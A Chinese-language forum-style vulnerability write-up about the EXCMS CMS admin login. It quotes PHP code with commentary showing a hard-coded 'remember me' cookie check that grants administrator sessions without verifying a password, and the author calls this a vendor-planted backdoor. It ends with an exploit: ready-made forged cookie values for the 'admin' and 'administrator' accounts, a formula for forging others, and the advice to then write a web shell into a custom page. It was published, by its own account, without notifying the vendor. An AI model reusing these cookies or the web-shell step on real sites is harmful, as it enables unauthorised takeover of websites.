作者:心灵

    以下版本没测试,测试的是最新版本。在公布前几小时没有通知官方,^_^,哈哈。

    为什么说过程精彩呢?看完就明白!因为这个漏洞原因非一般!同时映射出中国软件行业的悲哀!!!

    经典对白,看代码:

后台登录文件:admin\Modules\Auth\Index.php:

<?
if ( defined( "EXCMS" ) )   //在admin/index.php里有了  下面文件都是包含运行方式的
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
                                exit( "Access Denied" );
}
$excms_action['title'] = "登录"; //标题
$forward = $_GET['forward'];  //登录后转跳的地方
$verifycode = $EXCMS_CONFIG['login_verifycode'];  //验证码。。。
if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )
//迈下伏笔了!
{
                                $defaultBoxDisplay = "none";
                                $BoxDisplay = "";
                                $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
                                //看到这里没? 神奇把?
                                $remeberAdmin = $remeberInfo[0];
                                $remeberPwd = $remeberInfo[1];
                                //账号密码获取了(COOKIES方式?)   看下去将会发生的事情很惊天地!
                                $pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );
//这就是中国特色!  作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?
                                $remeberPwd = $remeberPwd == $pwdForever ? true : false;
                                $loginInputDispay = $remeberPwd ? "none" : "";
                                $loginType = $remeberPwd ? 3 : 2;
}
else
{
                                $defaultBoxDisplay = "";
                                $BoxDisplay = "none";
                                $loginInputDispay = "none";
                                $loginType = 1;
}

//下面是输出登录界面的


然后是“CheckLogin.php”验证登录文件:

<?
if ( defined( "EXCMS" ) )//index.php有了
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
                                exit( "Access Denied" );
}
$excms_action['loadtpl'] = true;  
$adminname = trim( $param['adminname'] );
$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );
$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];
$forward = $param['forward'];
$login_fail = true;
$error = "";
//以上东西不用理 $param都是POST方式的
if ( empty( $adminname ) )
//检测账户是否为空
{
                                $error = getlangbyname( "EMPTY_ADMINNAME" );
}
else if ( $param['loginType'] != 3 && empty( $password ) )
//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空
{
                                $error = getlangbyname( "EMPTY_PASSWORD" );
}
else
{
                                if ( $param['loginType'] == 3 )
                                {
//以下内容绝非因失误做成的漏洞  以这个程序编写技术 没可能这样  可以找任何PHP高手鉴证
                                                                $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
                $remeberAdmin = $remeberInfo[0];
                        $remeberPwd = $remeberInfo[1];
//账号密码从COOKIES里获取!
                $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
                                                                if ( $remeberPwd == $pwdForever )
//COOKIES里的账号加密过程 比ESPCMS还简单~~
                                                                {
                        include_once( LIB_PATH."system/Admin.class.php" );
                        $admin_obj = new Admin( );
                        $admin = $admin_obj->getByAdminname( $adminname );
                        //悲剧! 只验证了管理员账号  没有验证密码!!!
                        if ( $admin )
                {
                                                                                                                                $admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );
                                                                                                                                $_SESSION['admininfo'] = $admin;
//获得管理员权限了!!!!!!!!!
                                                                                                                                ++$_SESSION['admininfo']['logintimes'];
                                                                                                                                $admin_obj->updateLastLogin( $admin['adminid'] );
                                                                                                                                include_once( LIB_PATH."auth/Auth.class.php" );
                                                                                                                                $auth = new Auth( );
                                                                                                                                $auth->checkMenu( true );
                                                                                                                                $excms_action['loadtpl'] = false;
                                                                                                                                $login_fail = false;
                                                                                                }
                                                                }
                                }
                                else
//跳过没有COKIES   下面就是真正的验证登录状态  请注意 是有验证密码的!
                                {
                                                                if ( $EXCMS['config']['login_verifycode'] )
                                                                {
                                                                                                $param['verifycode'] = trim( $param['verifycode'] );
                                                                                                if ( $param['verifycode'] == "" )
                                                                                                {
                                                                                                                                $error = getlangbyname( "EMPTY_VERIFYCODE" );
                                                                                                }
                                                                                                else
                                                                                                {
                                                                                                                                include_once( LIB_PATH."util/CheckCode.class.php" );
                                                                                                                                $checkcode = new CheckCode( );
                                                                                                                                if ( !$checkcode->check( $param['verifycode'] ) )
                                                                                                                                {
                                                                                                                                                                $error = getlangbyname( "VERIFYCODE_FAILED" );
                                                                                                                                }
                                                                                                }
                                                                }
                                                                if ( empty( $error ) )
                                                                {
                                                                                                include_once( LIB_PATH."auth/Auth.class.php" );
                                                                                                $auth = new Auth( );
                                                                                                $loginMsg = $auth->Login( $adminname, $password );
                                                                                                if ( $loginMsg['success'] )
                                                                                                {
                                                                                                                                $_SESSION['admininfo'] = $loginMsg['admininfo'];
                                                                                                                                ++$_SESSION['admininfo']['logintimes'];
                                                                                                                                $auth->checkMenu( true );
                                                                                                                                if ( $rememberPwd == 1 )
                                                                                                                                {
                                                                                                                                                                $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
                                                                                                                                                                setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );
                                                                                                                                }
                                                                                                                                else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )
                                                                                                                                {
                                                                                                                                                                setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );
                                                                                                                                }
                                                                                                                                $login_fail = false;
                                                                                                                                $excms_action['loadtpl'] = false;
                                                                                                }
                                                                                                else
                                                                                                {
                                                                                                                                $error = getlangbyname( $loginMsg['message'] );
                                                                                                }
                                                                }
                                }
}
if ( !$login_fail )
{
                                if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )
                                {
                                                                header( "Location:index.php", true );
                                                                exit( );
                                }
                                header( "Location:".$forward, true );
                                exit( );
}
$errorCls = "f";
if ( $excms_action['loadtpl'] )
{
                                if ( !$error )
                                {
                                                                $error = getlangbyname( "LOGIN_FAILED" );
                                }
                                require( MODULES_PATH."Auth/Index.php" );
}
?>

//分析完毕

最后给出 EXP:

EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;
EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;

第1个是:admin
第2个是:administrator

一般就这2个,其他账号的话请自行结构。

结构方法:setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );

然后 strtoupper 一次,就是把字母都变大写。

修改 COOKIES 直接进入后台,然后自定义页面,写入网马。

    后语,这个 COOKIES “漏洞”并非是记住管理登录状态,记住管理登录的 COOKIES 是 SESSION ID 验证这个。所以这个漏洞100%是作者留下的后门!